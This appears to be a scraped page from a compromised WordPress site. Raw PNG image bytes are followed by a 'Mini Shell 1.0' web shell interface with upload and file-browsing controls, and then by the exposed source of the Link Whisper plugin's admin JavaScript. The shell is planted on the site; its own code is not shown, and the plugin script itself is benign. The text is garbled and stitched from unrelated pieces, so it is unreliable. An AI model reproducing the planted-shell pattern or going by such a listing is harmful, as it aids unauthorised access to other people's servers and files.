PNG  IHDRQgAMA a cHRMz&u0`:pQ<bKGDgmIDATxwUﹻ& ^CX(J I@ "% (** BX +*i"]j(IH{~R)[~>h{}gy)I$Ij .I$I$ʊy@}x.: $I$Ii}VZPC)I$IF ^0ʐJ$I$Q^}{"r=OzI$gRZeC.IOvH eKX $IMpxsk.쒷/&r[޳<v| .I~)@$updYRa$I |M.e JaֶpSYR6j>h%IRز if&uJ)M$I vLi=H;7UJ,],X$I1AҒJ$ XY XzI@GNҥRT)E@;]K*Mw;#5_wOn~\ DC&$(A5 RRFkvIR}l!RytRl;~^ǷJj اy뷦BZJr&ӥ8Pjw~vnv X^(I;4R=P[3]J,]ȏ~:3?[ a&e)`e*P[4]T=Cq6R[ ~ޤrXR Հg(t_HZ-Hg M$ãmL5R uk*`%C-E6/%[t X.{8P9Z.vkXŐKjgKZHg(aK9ڦmKjѺm_ \#$5,)-  61eJ,5m| r'= &ڡd%-]J on Xm|{ RҞe $eڧY XYrԮ-a7RK6h>n$5AVڴi*ֆK)mѦtmr1p| q:흺,)Oi*ֺK)ܬ֦K-5r3>0ԔHjJئEZj,%re~/z%jVMڸmrt)3]J,T K֦OvԒgii*bKiNO~%PW0=dii2tJ9Jݕ{7"I P9JKTbu,%r"6RKU}Ij2HKZXJ,妝 XYrP ެ24c%i^IK|.H,%rb:XRl1X4Pe/`x&P8Pj28Mzsx2r\zRPz4J}yP[g=L) .Q[6RjWgp FIH*-`IMRaK9TXcq*I y[jE>cw%gLRԕiFCj-ďa`#e~I j,%r,)?[gp FI˨mnWX#>mʔ XA DZf9,nKҲzIZXJ,L#kiPz4JZF,I,`61%2s $,VOϚ2/UFJfy7K> X+6 STXIeJILzMfKm LRaK9%|4p9LwJI!`NsiazĔ)%- XMq>pk$-$Q2x#N ؎-QR}ᶦHZډ)J,l#i@yn3LN`;nڔ XuX5pF)m|^0(>BHF9(cզEerJI rg7 4I@z0\JIi䵙RR0s;$s6eJ,`n 䂦0a)S)A 1eJ,堌#635RIgpNHuTH_SԕqVe ` &S)>p;S$魁eKIuX`I4춒o}`m$1":PI<[v9^\pTJjriRŭ P{#{R2,`)e-`mgj~1ϣLKam7&U\j/3mJ,`F;M'䱀 .KR#)yhTq;pcK9(q!w?uRR,n.yw*UXj#\]ɱ(qv2=RqfB#iJmmL<]Y͙#$5 uTU7ӦXR+q,`I}qL'`6Kͷ6r,]0S$- [RKR3oiRE|nӦXR.(i:LDLTJjY%o:)6rxzҒqTJjh㞦I.$YR.ʼnGZ\ֿf:%55 I˼!6dKxm4E"mG_ s? .e*?LRfK9%q#uh$)i3ULRfK9yxm܌bj84$i1U^@Wbm4uJ,ҪA>_Ij?1v32[gLRD96oTaR׿N7%L2 NT,`)7&ƝL*꽙yp_$M2#AS,`)7$rkTA29_Iye"|/0t)$n XT2`YJ;6Jx".e<`$) PI$5V4]29SRI>~=@j]lp2`K9Jaai^" Ԋ29ORI%:XV5]JmN9]H;1UC39NI%Xe78t)a;Oi Ҙ>Xt"~G>_mn:%|~ޅ_+]$o)@ǀ{hgN;IK6G&rp)T2i୦KJuv*T=TOSV>(~D>dm,I*Ɛ:R#ۙNI%D>G.n$o;+#RR!.eU˽TRI28t)1LWϚ>IJa3oFbu&:tJ*(F7y0ZR ^p'Ii L24x| XRI%ۄ>S1]Jy[zL$adB7.eh4%%누>WETf+3IR:I3Xה)3אOۦSRO'ٺ)S}"qOr[B7ϙ.edG)^ETR"RtRݜh0}LFVӦDB^k_JDj\=LS(Iv─aTeZ%eUAM-0;~˃@i|l @S4y72>sX-vA}ϛBI!ݎߨWl*)3{'Y|iSlEڻ(5KtSI$Uv02,~ԩ~x;P4ցCrO%tyn425:KMlD ^4JRxSهF_}شJTS6uj+ﷸk$eZO%G*^V2u3EMj3k%)okI]dT)URKDS 7~m@TJR~荪fT"֛L \sM -0T KfJz+nإKr L&j()[E&I ߴ>e FW_kJR|!O:5/2跌3T-'|zX ryp0JS ~^F>-2< `*%ZFP)bSn"L :)+pʷf(pO3TMW$~>@~ū:TAIsV1}S2<%ޟM?@iT ,Eūoz%i~g|`wS(]oȤ8)$ ntu`өe`6yPl IzMI{ʣzʨ )IZ2= ld:5+請M$-ї;U>_gsY$ÁN5WzWfIZ)-yuXIfp~S*IZdt;t>KūKR|$#LcԀ+2\;kJ`]YǔM1B)UbG"IRߊ<xܾӔJ0Z='Y嵤 Leveg)$znV-º^3Ւof#0Tfk^Zs[*I꯳3{)ˬW4Ւ4 OdpbZRS|*I 55#"&-IvT&/윚Ye:i$ 9{LkuRe[I~_\ؠ%>GL$iY8 9ܕ"S`kS.IlC;Ҏ4x&>u_0JLr<J2(^$5L s=MgV ~,Iju> 7r2)^=G$1:3G< `J3~&IR% 6Tx/rIj3O< ʔ&#f_yXJiގNSz; Tx(i8%#4 ~AS+IjerIUrIj362v885+IjAhK__5X%nV%Iͳ-y|7XV2v4fzo_68"S/I-qbf; LkF)KSM$ Ms>K WNV}^`-큧32ŒVؙGdu,^^m%6~Nn&͓3ŒVZMsRpfEW%IwdǀLm[7W&bIRL@Q|)* i ImsIMmKmyV`i$G+R 0tV'!V)֏28vU7͒vHꦼtxꗞT ;S}7Mf+fIRHNZUkUx5SAJㄌ9MqμAIRi|j5)o*^'<$TwI1hEU^c_j?Е$%d`z cyf,XO IJnTgA UXRD }{H}^S,P5V2\Xx`pZ|Yk:$e ~ @nWL.j+ϝYb퇪bZ BVu)u/IJ_ 1[p.p60bC >|X91P:N\!5qUB}5a5ja `ubcVxYt1N0Zzl4]7­gKj]?4ϻ *[bg$)+À*x쳀ogO$~,5 زUS9 lq3+5mgw@np1sso Ӻ=|N6 /g(Wv7U;zωM=wk,0uTg_`_P`uz?2yI!b`kĸSo+Qx%!\οe|އԁKS-s6pu_(ֿ$i++T8=eY; צP+phxWQv*|p1. ά. XRkIQYP,drZ | B%wP|S5`~́@i޾ E;Չaw{o'Q?%iL{u D?N1BD!owPHReFZ* k_-~{E9b-~P`fE{AܶBJAFO wx6Rox5 K5=WwehS8 (JClJ~ p+Fi;ŗo+:bD#g(C"wA^ r.F8L;dzdIHUX݆ϞXg )IFqem%I4dj&ppT{'{HOx( Rk6^C٫O.)3:s(۳(Z?~ٻ89zmT"PLtw䥈5&b<8GZ-Y&K?e8,`I6e(֍xb83 `rzXj)F=l($Ij 2*(F?h(/9ik:I`m#p3MgLaKjc/U#n5S# m(^)=y=đx8ŬI[U]~SцA4p$-F i(R,7Cx;X=cI>{Km\ o(Tv2vx2qiiDJN,Ҏ!1f 5quBj1!8 rDFd(!WQl,gSkL1Bxg''՞^ǘ;pQ P(c_ IRujg(Wz bs#P­rz> k c&nB=q+ؔXn#r5)co*Ũ+G?7< |PQӣ'G`uOd>%Mctz# Ԫڞ&7CaQ~N'-P.W`Oedp03C!IZcIAMPUۀ5J<\u~+{9(FbbyAeBhOSܳ1 bÈT#ŠyDžs,`5}DC-`̞%r&ڙa87QWWp6e7 Rϫ/oY ꇅ Nܶըtc!LA T7V4Jsū I-0Pxz7QNF_iZgúWkG83 0eWr9 X]㾮݁#Jˢ C}0=3ݱtBi]_ &{{[/o[~ \q鯜00٩|cD3=4B_b RYb$óBRsf&lLX#M*C_L܄:gx)WΘsGSbuL rF$9';\4Ɍq'n[%p.Q`u hNb`eCQyQ|l_C>Lb꟟3hSb #xNxSs^ 88|Mz)}:](vbۢamŖ࿥ 0)Q7@0=?^k(*J}3ibkFn HjB׻NO z x}7p 0tfDX.lwgȔhԾŲ }6g E |LkLZteu+=q\Iv0쮑)QٵpH8/2?Σo>Jvppho~f>%bMM}\//":PTc(v9v!gոQ )UfVG+! 35{=x\2+ki,y$~A1iC6#)vC5^>+gǵ@1Hy٪7u;p psϰu/S <aʸGu'tD1ԝI<pg|6j'p:tպhX{o(7v],*}6a_ wXRk,O]Lܳ~Vo45rp"N5k;m{rZbΦ${#)`(Ŵg,;j%6j.pyYT?}-kBDc3qA`NWQū20/^AZW%NQ MI.X#P#,^Ebc&?XR tAV|Y.1!؅⨉ccww>ivl(JT~ u`ٵDm q)+Ri x/x8cyFO!/*!/&,7<.N,YDŽ&ܑQF1Bz)FPʛ?5d 6`kQձ λc؎%582Y&nD_$Je4>a?! ͨ|ȎWZSsv8 j(I&yj Jb5m?HWp=g}G3#|I,5v珿] H~R3@B[☉9Ox~oMy=J;xUVoj bUsl_35t-(ՃɼRB7U!qc+x4H_Qo֮$[GO<4`&č\GOc[.[*Af%mG/ ňM/r W/Nw~B1U3J?P&Y )`ѓZ1p]^l“W#)lWZilUQu`-m|xĐ,_ƪ|9i:_{*(3Gѧ}UoD+>m_?VPۅ15&}2|/pIOʵ> GZ9cmíتmnz)yߐbD >e}:) r|@R5qVSA10C%E_'^8cR7O;6[eKePGϦX7jb}OTGO^jn*媓7nGMC t,k31Rb (vyܴʭ!iTh8~ZYZp(qsRL ?b}cŨʊGO^!rPJO15MJ[c&~Z`"ѓޔH1C&^|Ш|rʼ,AwĴ?b5)tLU)F| &g٣O]oqSUjy(x<Ϳ3 .FSkoYg2 \_#wj{u'rQ>o;%n|F*O_L"e9umDds?.fuuQbIWz |4\0 sb;OvxOSs; G%T4gFRurj(֍ڑb uԖKDu1MK{1^ q; C=6\8FR艇!%\YÔU| 88m)֓NcLve C6z;o&X x59:q61Z(T7>C?gcļxѐ Z oo-08jہ x,`' ҔOcRlf~`jj".Nv+sM_]Zk g( UOPyεx%pUh2(@il0ݽQXxppx-NS( WO+轾 nFߢ3M<;z)FBZjciu/QoF 7R¥ ZFLF~#ȣߨ^<쩡ݛкvџ))ME>ώx4m#!-m!L;vv#~Y[đKmx9.[,UFS CVkZ +ߟrY٧IZd/ioi$%͝ب_ֶX3ܫhNU ZZgk=]=bbJS[wjU()*I =ώ:}-蹞lUj:1}MWm=̛ _ ¾,8{__m{_PVK^n3esw5ӫh#$-q=A̟> ,^I}P^J$qY~Q[ Xq9{#&T.^GVj__RKpn,b=`żY@^՝;z{paVKkQXj/)y TIc&F;FBG7wg ZZDG!x r_tƢ!}i/V=M/#nB8 XxЫ ^@CR<{䤭YCN)eKOSƟa $&g[i3.C6xrOc8TI;o hH6P&L{@q6[ Gzp^71j(l`J}]e6X☉#͕ ׈$AB1Vjh㭦IRsqFBjwQ_7Xk>y"N=MB0 ,C #o6MRc0|$)ف"1!ixY<B9mx `,tA>)5ػQ?jQ?cn>YZe Tisvh# GMމȇp:ԴVuږ8ɼH]C.5C!UV;F`mbBk LTMvPʍϤj?ԯ/Qr1NB`9s"s TYsz &9S%U԰> {<ؿSMxB|H\3@!U| k']$U+> |HHMLޢ?V9iD!-@x TIî%6Z*9X@HMW#?nN ,oe6?tQwڱ.]-y':mW0#!J82qFjH -`ѓ&M0u Uγmxϵ^-_\])@0Rt.8/?ٰCY]x}=sD3ojަЫNuS%U}ԤwHH>ڗjܷ_3gN q7[q2la*ArǓԖ+p8/RGM ]jacd(JhWko6ڎbj]i5Bj3+3!\j1UZLsLTv8HHmup<>gKMJj0@H%,W΃7R) ">c, xixј^ aܖ>H[i.UIHc U1=yW\=S*GR~)AF=`&2h`DzT󑓶J+?W+}C%P:|0H܆}-<;OC[~o.$~i}~HQ TvXΈr=b}$vizL4:ȰT|4~*!oXQR6Lk+#t/g lԁߖ[Jڶ_N$k*". xsxX7jRVbAAʯKҎU3)zSNN _'s?f)6X!%ssAkʱ>qƷb hg %n ~p1REGMHH=BJiy[<5 ǁJҖgKR*倳e~HUy)Ag,K)`Vw6bRR:qL#\rclK/$sh*$ 6덤 KԖc 3Z9=Ɣ=o>X Ώ"1 )a`SJJ6k(<c e{%kϊP+SL'TcMJWRm ŏ"w)qc ef꒵i?b7b('"2r%~HUS1\<(`1Wx9=8HY9m:X18bgD1u ~|H;K-Uep,, C1 RV.MR5άh,tWO8WC$ XRVsQS]3GJ|12 [vM :k#~tH30Rf-HYݺ-`I9%lIDTm\ S{]9gOڒMNCV\G*2JRŨ;Rҏ^ڽ̱mq1Eu?To3I)y^#jJw^Ńj^vvlB_⋌P4x>0$c>K†Aļ9s_VjTt0l#m>E-,,x,-W)سo&96RE XR.6bXw+)GAEvL)͞K4$p=Ũi_ѱOjb HY/+@θH9޼]Nԥ%n{ &zjT? Ty) s^ULlb,PiTf^<À] 62R^V7)S!nllS6~͝V}-=%* ʻ>G DnK<y&>LPy7'r=Hj 9V`[c"*^8HpcO8bnU`4JȪAƋ#1_\ XϘHPRgik(~G~0DAA_2p|J묭a2\NCr]M_0 ^T%e#vD^%xy-n}-E\3aS%yN!r_{ )sAw ڼp1pEAk~v<:`'ӭ^5 ArXOI驻T (dk)_\ PuA*BY]yB"l\ey hH*tbK)3 IKZ򹞋XjN n *n>k]X_d!ryBH ]*R 0(#'7 %es9??ښFC,ՁQPjARJ\Ρw K#jahgw;2$l*) %Xq5!U᢯6Re] |0[__64ch&_}iL8KEgҎ7 M/\`|.p,~`a=BR?xܐrQ8K XR2M8f ?`sgWS%" Ԉ 7R%$ N}?QL1|-эټwIZ%pvL3Hk>,ImgW7{E xPHx73RA @RS CC !\ȟ5IXR^ZxHл$Q[ŝ40 (>+ _C >BRt<,TrT {O/H+˟Pl6 I B)/VC<6a2~(XwV4gnXR ϱ5ǀHٻ?tw똤Eyxp{#WK qG%5],(0ӈH HZ])ג=K1j&G(FbM@)%I` XRg ʔ KZG(vP,<`[ Kn^ SJRsAʠ5xՅF`0&RbV tx:EaUE/{fi2;.IAwW8/tTxAGOoN?G}l L(n`Zv?pB8K_gI+ܗ #i?ޙ.) p$utc ~DžfՈEo3l/)I-U?aԅ^jxArA ΧX}DmZ@QLےbTXGd.^|xKHR{|ΕW_h] IJ`[G9{).y) 0X YA1]qp?p_k+J*Y@HI>^?gt.06Rn ,` ?);p pSF9ZXLBJPWjgQ|&)7! HjQt<| ؅W5 x W HIzYoVMGP Hjn`+\(dNW)F+IrS[|/a`K|ͻ0Hj{R,Q=\ (F}\WR)AgSG`IsnAR=|8$}G(vC$)s FBJ?]_u XRvύ6z ŨG[36-T9HzpW̞ú Xg큽=7CufzI$)ki^qk-) 0H*N` QZkk]/tnnsI^Gu't=7$ Z;{8^jB% IItRQS7[ϭ3 $_OQJ`7!]W"W,)Iy W AJA;KWG`IY{8k$I$^%9.^(`N|LJ%@$I}ֽp=FB*xN=gI?Q{٥4B)mw $Igc~dZ@G9K X?7)aK%݅K$IZ-`IpC U6$I\0>!9k} Xa IIS0H$I H ?1R.Чj:4~Rw@p$IrA*u}WjWFPJ$I➓/6#! LӾ+ X36x8J |+L;v$Io4301R20M I$-E}@,pS^ޟR[/s¹'0H$IKyfŸfVOπFT*a$I>He~VY/3R/)>d$I>28`Cjw,n@FU*9ttf$I~<;=/4RD~@ X-ѕzἱI$: ԍR a@b X{+Qxuq$IЛzo /~3\8ڒ4BN7$IҀj V]n18H$IYFBj3̵̚ja pp $Is/3R Ӻ-Yj+L;.0ŔI$Av? #!5"aʄj}UKmɽH$IjCYs?h$IDl843.v}m7UiI=&=0Lg0$I4: embe` eQbm0u? $IT!Sƍ'-sv)s#C0:XB2a w I$zbww{."pPzO =Ɔ\[ o($Iaw]`E).Kvi:L*#gР7[$IyGPI=@R 4yR~̮´cg I$I/<tPͽ hDgo 94Z^k盇΄8I56^W$I^0̜N?4*H`237}g+hxoq)SJ@p|` $I%>-hO0eO>\ԣNߌZD6R=K ~n($I$y3D>o4b#px2$yڪtzW~a $I~?x'BwwpH$IZݑnC㧄Pc_9sO gwJ=l1:mKB>Ab<4Lp$Ib o1ZQ@85b̍ S'F,Fe,^I$IjEdù{l4 8Ys_s Z8.x m"+{~?q,Z D!I$ϻ'|XhB)=…']M>5 rgotԎ 獽PH$IjIPhh)n#cÔqA'ug5qwU&rF|1E%I$%]!'3AFD/;Ck_`9 v!ٴtPV;x`'*bQa w I$Ix5 FC3D_~A_#O݆DvV?<qw+I$I{=Z8".#RIYyjǪ=fDl9%M,a8$I$Ywi[7ݍFe$s1ՋBVA?`]#!oz4zjLJo8$I$%@3jAa4(o ;p,,dya=F9ً[LSPH$IJYЉ+3> 5"39aZ<ñh!{TpBGkj}Sp $IlvF.F$I z< '\K*qq.f<2Y!S"-\I$IYwčjF$ w9 \ߪB.1v!Ʊ?+r:^!I$BϹB H"B;L'G[ 4U#5>੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/home/nicemohali.com/www/wp-content/plugins/link-whisper/js/
Upload File :
Current File : //home/nicemohali.com/www/wp-content/plugins/link-whisper/js/wpil_admin.js
"use strict";

(function ($)
{

    var reloadGutenberg = false;

    /////////// preloading
    function getSuggestions(manualActivate = false){
        $('[data-wpil-ajax-container]').each(function(k, el){
            var $el = $(el);
            var url = $el.attr('data-wpil-ajax-container-url');
            var count = 0;
            var urlParams = parseURLParams(url);

            // don't load the suggestions automatically if the user has selected manual activation
            if($el.data('wpil-manual-suggestions') == 1 && !manualActivate){
                return
            }

            $el.css({'display': 'block'});
            $('.wpil-get-manual-suggestions-container').css({'display': 'none'});

			if(urlParams.type && 'outbound_suggestions_ajax' === urlParams.type[0]){
				ajaxGetSuggestionsOutbound($el, url, count);
			}

            setupProcessingError();
        });
    }

    getSuggestions();

    $(document).on('click', '#wpil-get-manual-suggestions', function(e){e.preventDefault(); getSuggestions(true)});

	function ajaxGetSuggestionsOutbound($el, url, count, post_count = 0, key = null)
	{
        // if there isn't a key set, make one
        if(!key){
            while(true){
                key = Math.round(Math.random() * 1000000000);
                if(key > 999999){break;}
            }
        }

        var urlParams = parseURLParams(url);
        var post_id = (urlParams.post_id) ? urlParams.post_id[0] : null;
        var term_id = (urlParams.term_id) ? urlParams.term_id[0] : null;
        var linkOrphaned = (urlParams.link_orphaned) ? urlParams.link_orphaned[0] : null;
        var sameParent = (urlParams.same_parent) ? urlParams.same_parent[0] : null;
        var sameCategory = (urlParams.same_category) ? urlParams.same_category[0] : '';
        var selectedCategory = (urlParams.selected_category) ? urlParams.selected_category[0].split(',') : '';
        var sameTag = (urlParams.same_tag) ? urlParams.same_tag[0] : '';
        var selectedTag = (urlParams.selected_tag) ? urlParams.selected_tag[0].split(',') : '';
        var selectPostTypes = (urlParams.select_post_types) ? urlParams.select_post_types[0] : '';
        var selectedPostTypes = (urlParams.selected_post_types) ? urlParams.selected_post_types[0].split(',') : '';
        var nonce = (urlParams.nonce) ? urlParams.nonce[0]: '';

        if(!nonce){
            return;
        }

        // start the clock on the error notice
        setupProcessingError();

        jQuery.ajax({
            type: 'POST',
            url: ajaxurl,
            data: {
                action: 'get_post_suggestions',
                nonce: nonce,
                count: count,
                post_count: (post_count) ? parseInt(post_count): 0,
                post_id: post_id,
                term_id: term_id,
                link_orphaned: linkOrphaned,
                same_parent: sameParent,
                same_category: sameCategory,
                selected_category: selectedCategory,
                same_tag: sameTag,
                selected_tag: selectedTag,
                select_post_types: selectPostTypes,
                selected_post_types: selectedPostTypes,
                type: 'outbound_suggestions',
                key: key,
            },
            success: function(response){
                console.log({response, count});

                if(!isJSON(response)){
                    response = extractAndValidateJSON(response, ['error', 'info', 'message', 'batch_size', 'post_count']);
                }

                // stop the error clock and hide any visible message
                setupProcessingError(true);
                hideProcessingError();

                // if there was an error
                if(response.error){
                    // output the error message
                    wpil_swal(response.error.title, response.error.text, 'error');
                    // and exit
                    return;
                }

                // if there was a notice
                if(response.info){
                    // output the notice message
                    wpil_swal(response.info.title, response.info.text, 'info');
                    // and exit
                    return;
                }

                $el.find('.progress_count').html(response.message);

				if((count * response.batch_size) < response.post_count){
					ajaxGetSuggestionsOutbound($el, url, response.count, response.post_count, key);
				}else{
					// if we're doing same tag or cat matching, skip the external sites.
					return updateSuggestionDisplay(post_id, term_id, nonce, $el, 'outbound_suggestions', linkOrphaned, sameParent, sameCategory, key, selectedCategory, sameTag, selectedTag, selectPostTypes, selectedPostTypes);
				}
			},
            error: function(jqXHR, textStatus, errorThrown){
                console.log({jqXHR, textStatus, errorThrown});
//				setupProcessingError(true);
            }
        });
    }

	function updateSuggestionDisplay(postId, termId, nonce, $el, type = 'outbound_suggestions', linkOrphaned, sameParent, sameCategory = '', key = null, selectedCategory, sameTag, selectedTag, selectPostTypes, selectedPostTypes){
		jQuery.ajax({
			type: 'POST',
			url: ajaxurl,
			data: {
				action: 'update_suggestion_display',
                nonce: nonce,
                post_id: postId,
                term_id: termId,
                key: key,
				type: type,
				same_category: sameCategory,
				selected_category: selectedCategory,
				same_tag: sameTag,
				selected_tag: selectedTag,
				select_post_types: selectPostTypes,
				selected_post_types: selectedPostTypes,
			},
			success: function(response){
                // if there was an error
                if(response.error){
                    // output the error message
                    wpil_swal(response.error.title, response.error.text, 'error');
                    // and exit
                    return;
                }

                // update the suggestion report
				$el.html(response);
			}
		});
	}

    /**
     * Helper function that parses urls to get their query vars.
     **/
    function parseURLParams(url) {
        var queryStart = url.indexOf("?") + 1,
            queryEnd   = url.indexOf("#") + 1 || url.length + 1,
            query = url.slice(queryStart, queryEnd - 1),
            pairs = query.replace(/\+/g, " ").split("&"),
            parms = {}, i, n, v, nv;
    
        if (query === url || query === "") return;
    
        for (i = 0; i < pairs.length; i++) {
            nv = pairs[i].split("=", 2);
            n = decodeURIComponent(nv[0]);
            v = decodeURIComponent(nv[1]);
    
            if (!parms.hasOwnProperty(n)) parms[n] = [];
            parms[n].push(nv.length === 2 ? v : null);
        }
        return parms;
    }

	$(document).on('click', '.sentence a', function (e) {
		e.preventDefault();
	});

    var same_category_loading = false;

    $(document).on('click', '#wpil-regenerate-suggestions', function(){
        if (!same_category_loading) {
            same_category_loading = true;
            var container = $(this).closest('[data-wpil-ajax-container]');
            var url = container.attr('data-wpil-ajax-container-url');
            var urlParams = parseURLParams(url);
            var linkOrphaned = container.find('#field_link_orphaned').prop('checked');
            var sameParent = container.find('#field_same_parent').prop('checked');
            var sameCategory = container.find('#field_same_category').prop('checked');
            var selectedCategories = container.find('select[name="wpil_selected_category"').val();
            var sameTag = container.find('#field_same_tag').prop('checked');
            var selectedTags = container.find('select[name="wpil_selected_tag"').val();
            var category_checked = '';
            var tag_checked = '';
            var post_id = (urlParams.post_id) ? urlParams.post_id[0] : 0;
            var postTypeSelect = container.find('#field_select_post_types').prop('checked');
            var postTypes = container.find('select[name="selected_post_types"').val();

            // remove any active filtering settings
            url = url.replace(new RegExp("(&link_orphaned[^&]*)|(&same_parent[^&]*)|(&same_category[^&]*)|(&same_tag[^&]*)|(&select_post_types[^&]*)|(&selected_category[^&]*)|(&selected_tag[^&]*)|(&selected_post_types[^&]*)", 'ig'), '');

            //link to orphaned
            if (linkOrphaned) {
                url += "&link_orphaned=true";
            }

            //same parent
            if (sameParent) {
                url += "&same_parent=true";
            }

            //category
            if (sameCategory) {
                url += "&same_category=true";
                url += "&selected_category=" + selectedCategories.join(',');
                category_checked = 'checked="checked"';
            }

            //tag
            if (sameTag) {
                url += "&same_tag=true";
                url += "&selected_tag=" + selectedTags.join(',');
                tag_checked = 'checked="checked"';
            }

            // selected post types
            if(postTypeSelect && postTypes){
                url += "&select_post_types=true";
                url += "&selected_post_types=" + postTypes.join(',');
            }

            if(urlParams.wpil_no_preload && '1' === urlParams.wpil_no_preload[0]){
                var checkAndButton = '<div style="margin-bottom: 30px;">' +
                        '<input style="margin-bottom: -5px;" type="checkbox" name="same_category" id="field_same_category_page" ' + category_checked + '>' +
                        '<label for="field_same_category_page">Only Show Link Suggestions in the Same Category as This Post</label> <br>' +
                    '</div>' +
                    '<button id="inbound_suggestions_button" class="sync_linking_keywords_list button-primary" data-id="' + post_id + '" data-type="inbound_suggestions_page_container" data-page="inbound">Custom links</button>';
                container.html(checkAndButton);
            }else{
                container.html('<div class="progress_panel loader"><div class="progress_count" style="width: 100%"></div></div>');
            }

            if(urlParams.type && 'outbound_suggestions_ajax' === urlParams.type[0]){
                ajaxGetSuggestionsOutbound(container, url, 0);
            }

            same_category_loading = false;
        }
    });

    $(document).on('change', '#field_link_orphaned, #field_same_parent, #field_same_category, #field_same_tag, #field_select_post_types, select[name="wpil_selected_category"], select[name="wpil_selected_tag"], select[name="selected_post_types"], .wpil-suggestions-can-be-regenerated', function(){
        var inputs = $('.wpil-suggestion-input');
        var changed = false;
        inputs.each(function(index, element){
            var el = $(element);
            var initial = el.data('suggestion-input-initial-value');
            if(el.is("input") && el.attr('type') === 'checkbox' && el.is(":checked") != initial){
                changed = true;
            }else if(el.is("input") && el.attr('type') === 'hidden' && el.val() !== initial){
                changed = true;
            }else if(el.is("select") && initial.toString() !== el.val().join(',')){
                changed = true;
            }
        });

        if(changed){
            $('#wpil-regenerate-suggestions').removeClass('disabled').prop('disabled', false);
        }else{
            $('#wpil-regenerate-suggestions').addClass('disabled').prop('disabled', true);
        }
    });

    $(document).on('change', '#field_select_post_types,#field_same_tag,#field_same_category', function(){
        var name = $(this).attr('name');
		if($(this).is(":checked")){
			$('.wpil_styles .' + name + '-aux .select2, .' + name + '-aux').css({'display': 'inline-block'});
		}else{
			$('.wpil_styles .' + name + '-aux .select2, .' + name + '-aux').css({'display': 'none'});
		}
    });

    function stristr(haystack, needle, bool)
    {
        // http://jsphp.co/jsphp/fn/view/stristr
        // +   original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
        // +   bugfxied by: Onno Marsman
        // *     example 1: stristr('Kevin van Zonneveld', 'Van');
        // *     returns 1: 'van Zonneveld'
        // *     example 2: stristr('Kevin van Zonneveld', 'VAN', true);
        // *     returns 2: 'Kevin '
        var pos = 0;

        haystack += '';
        pos = haystack.toLowerCase().indexOf((needle + '').toLowerCase());

        if (pos == -1) {
            return false;
        } else {
            if (bool) {
                return haystack.substr(0, pos);
            } else {
                return haystack.slice(pos);
            }
        }
    }

    function wpil_handle_errors(resp)
    {
        if (stristr(resp, "520") && stristr(resp, "unknown error") && stristr(resp, "Cloudflare")) {
            wpil_swal('Error', "It seems you are using CloudFlare and CloudFlare is hiding some error message. Please temporary disable CloudFlare, open reporting page again, look if it has any new errors and send it to us", 'error')
                .then(wpil_report_next_step);
            return true;
        }

        if (stristr(resp, "504") && stristr(resp, "gateway")) {
            wpil_swal('Error', "504 error: Gateway timeout - please ask your hosting support about this error", 'error')
                .then(wpil_report_next_step);
            return true;
        }

        return false;
    }

    function wpil_report_next_step()
    {
        location.reload();
    }

    /**
     * Makes the call to reset the report data when the user clicks on the "Reset Data" button.
     **/
    function resetReportData(e){
        e.preventDefault();
        var form = $(this);
        var nonce = form.find('[name="reset_data_nonce"]').val();
    
        if(!nonce || form.attr('disabled')){
            return;
        }
        
        // disable the reset button
        form.attr('disabled', true);
        // add a color change to the button indicate it's disabled
        form.find('button.button-primary').addClass('wpil_button_is_active');
        processReportReset(nonce, 0, true);
    }

    /**
     * Makes the call to reset the report data when the user clicks on the "Reset Data" button.
     **/
    function resumeReportData(e){
        e.preventDefault();

        var form = $(this).parents('form');
        var nonce = form.find('[name="reset_data_nonce"]').val();

        if(!nonce || form.attr('disabled')){
            return;
        }

        // disable the reset button
        form.attr('disabled', true);
        // add a color change to the button indicate it's disabled
        $(this).addClass('wpil_button_is_active');
        // and hide the "New Link Scan" button
        form.find('button.button-primary').css({'opacity': '0.3'});
        processReportData(nonce, 0, 0, 0, 0, false, false, 0, true);
    }

    var timeList = [];    
    function processReportReset(nonce = null, loopCount = 0, clearData = false){
        if(!nonce){
            return;
        }

        jQuery.ajax({
            type: 'POST',
            url: ajaxurl,
            data: {
                action: 'reset_report_data',
                nonce: nonce,
                loop_count: loopCount,
                clear_data: clearData,
            },
            error: function (jqXHR, textStatus) {
                var resp = jqXHR.responseText;

                if (wpil_handle_errors(resp)) {
                    wpil_report_next_step();
                    return;
                }

                var wrapper = document.createElement('div');
                $(wrapper).append('<strong>' + textStatus + '</strong><br>');
                $(wrapper).append(jqXHR.responseText);
                wpil_swal({"title": "Error", "content": wrapper, "icon": "error"}).then(wpil_report_next_step());
            },
            success: function(response){
                if(!isJSON(response)){
                    response = extractAndValidateJSON(response, ['error', 'links_to_process_count', 'data_setup_complete', 'loop_count', 'loading_screen', 'nonce', 'time']);
                }

                // if there was an error
                if(response.error){
                    wpil_swal(response.error.title, response.error.text, 'error');
                    return;
                }
                
                // if we've been around a couple times without processing links, there must have been an error
                if(!response.links_to_process_count && response.loop_count > 5){
                    wpil_swal('Data Reset Error', 'Link Whisper has tried a number of times to reset the report data, and it hasn\'t been able to complete the action.', 'error');
                    return;
                }

                // if the data has been successfully reset
                if(response.data_setup_complete){
                    // set the loading screen now that the data setup is complete
                    if(response.loading_screen){
                        $('#wpbody-content').html(response.loading_screen);
                    }
                    // set the time
                    timeList.push(response.time);
                    // and call the data processing function to handle the data
                    processReportData(response.nonce, 0, 0, 0);
                }else{
                    // if we're not done processing links, go around again
                    processReportReset(response.nonce, (response.loop_count + 1), true);
                }
            }
        });
    }

    // listen for clicks on the "Reset Data" button
    $('#wpil_report_reset_data_form').on('submit', resetReportData);

